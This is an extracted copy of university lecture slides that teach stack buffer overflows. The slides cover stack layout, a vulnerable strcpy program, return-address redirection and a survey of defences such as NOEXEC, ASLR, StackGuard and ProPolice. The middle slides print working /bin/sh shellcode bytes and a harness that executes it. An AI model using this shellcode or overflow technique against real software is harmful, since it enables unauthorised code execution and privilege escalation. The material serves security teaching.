Вы находитесь на странице: 1из 31

Buffer Overflow Attack

PHAM VAN HAU (PVHAU@HCMIU.EDU.VN )


SCHOOL OF COMPUTER SCIENCE AND ENGINEERING, INTERNATIONAL UNIVERSITY

From high level language to machine code


int g; void main(){ int x; int y; int z; x=1; y=2; z=x+y; g=z; }

Memory Organization (1)


Memory address decrease

Text Initialized/ Uninitialized data

Program code (instructions) Global, static variables

Stack

Local variables

Stack operation

Stack: A stack is an abstract data type. Stack contains objects in which the last object placed on the stack will be the first object removed (last in, first out queue, or a LIFO).

Two important operations of stack are PUSH and POP.

PUSH adds an element at the top of the stack. POP removes the element at the top of the stack.

Assembly Example Function


void fun(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { fun(1,2,3); }

Stack and function

The stack consists of logical stack frames that are pushed when calling a function and popped when returning. Stack Pointer (SP) points to the top of the stack Frame pointer points to a fixed location within a frame. FP is used to access to the variables in stack

Stack
address decreases

Function A

Top of stack

Function
void fun(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { fun(1,2,3); }

Stack

main
fun

Procedure prolog/epilog
Procedure prologue:

Save the previous FP SP into FP to create the new FP

prologue

Procedure prolog/epilog
Procedure epilog:

the stack must be cleaned up again movl %ebp,%esp popl %ebp ret
prologue

epilog

Stack in function calling

High level languages need function and procedure. Stack helps to implement this.

The stack is used to dynamically allocate the local variables used in functions, to pass parameters to the functions, and to return values from the function.

Stack in Action

Stack in action
Memory address increases
void fun(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { fun(1,2,3); }

3 2 1 Saved IP Saved EBP Buffer1 Buffer2

Top of stack

Buffer overflow in a nutshell


Program: vul1.c Compile : gcc -o vul1 vul1.c

void main(int argc, char *argv[]) { char buffer[512]; if (argc > 1) { strcpy(buffer,argv[1]); printf(%s,buffer); } }

./vul1 ./vul1 hello output=hello

nothing happens

Instead of hello by giving suitable input we can modify the behavior of vul1, e.g. to spawn a shell

Buffer overflow can redirect execution flow


void function(int a, int b, int c) { char buffer1[5];

char buffer2[10];
int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x;

Demo example{2,3}.c

x = 0;
function(1,2,3); x = 1; printf("%d\n",x);

Binary Code (1)


int g; void main(){ int x; int y; int z; x=1; y=2; z=x+y; g=z; }
assembly code Binary code

Binary Code (2)


int g; void main(){ int x; int y; int z; x=1; y=2; z=x+y; g=z; }

\x55\x89\xe5\x83\xec\x10.....\xc9\xc3

Shellcode (1)

In most cases we'll simply want the program to spawn a shell, from where we can then issue other commands as we wish.

Place the code with are trying to execute in the buffer we are overflowing, and overwrite the return address so it points back into the buffer.

Shellcode (2)
Memory address decreases 3 2 1 Saved IP Saved EBP Buffer1

Shellcode Shellcode Buffer2

Top of stack

Code to open a shell


In C
void main(int argc, char **argv) { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); }

Shellcode to open a shell

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\ x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x 40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh

Test the Shellcode

char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\ x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x 40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() { int *ret;

ret = (int *)&ret + 2;


(*ret) = (int)shellcode; }
Demo testshellcode.c Exploit1.c

Demo

Exploit1 Exploit2 Exploit3

Classification of bufferoverflow

Local buffer overflow: increase privilege on the local machine Remote buffer overflow: gain access to a remote machine

Kernel-Enforced Protection (PaX Project)


Non-executable (NOEXEC): prevents the injection and execution of code into a task's address space http://pax.grsecurity.net/docs/noexec.txt
The first feature NOEXEC implements is the executable semantics on memory pages.
making all available executable memory including the stack, heap and all anonymous mappings non-executable.

locking down of permissions on memory pages: prevent the creation of writable/executable file mappings (anonymous mappings are already made non-executable) we also refuse to turn a writable or non-executable mapping into an executable one and vice versa.

Kernel-Enforced Protection (PaX Project)


Address Space Layout Randomization (ASLR) http://pax.grsecurity.net/docs/aslr.txt

introducing randomness into the virtual memory layout for a particular process
varying levels of randomness during the process of loading a binary so that the binary mapping, dynamic library linking and stack memory regions are all randomized before the process begins executing

Kernel-Enforced Protection (PaX Project)


Address Space Layout Randomization (ASLR)

Compiler-Enforced Protection
Special values called canaries may be inserted into arbitrary points in memory to detect the corruption of saved control structures

The basic concept of overflowing a buffer to modify a return address or function pointer on the stack may be addressed by placing canary values in a location that would cause them to be overflowed before the return address may be reached

StackGuard
StackGuard adds code at the RTL level to the function_prologue and function_epilogue functions within GCC to provide the generation and validation of the stack canary random canary directly before the return address Canary changes, it means that there is stack smashing Defeating StackGuard
Possibility of bypassing StackGuard by overwriting local variables that could then be used to compromise the protection. overwriting function pointers and frame pointers stored on the stack can also lead to compromise. Protection against nonstack-based attack vectors such as heap overflows is also beyond the scope of StackGuard

(A Comparison of Buffer Overflow Prevention Implementations and Weaknesses)

ProPolice Stack-Smashing Protection (SSP)


SSP proactively monitors stack changes. SSPs approach re-arranges argument locations, return addresses, previous frame pointers and local variables. SSP has come up with the following safe stack model Defeating ProPolice SSP ProPolice is better protection against stack overflows than the other compiler patches but still have problem
(A Comparison of Buffer Overflow Prevention Implementations and Weaknesses)

StackShield
the return address is copied to the Global Ret Stack the return address is copied from the Global Ret Stack to the applications stack, overwriting any possible compromise Defeating StackShield Methods for defeating StackShield are similar to those used to bypass StackGuard protection

Windows 2003 Stack Protection


Microsoft implemented a compiler-based protection solution to ensure that their products were secure out of the box. Microsofts solution is very similar to Crispin Cowans StackGuard covered earlier in this paper NGSEC StackDefender 1.10 works in the kernel level http://www.cvedetails.com/product/22318/Microsoft-Windows8.html?vendor_id=26

Вам также может понравиться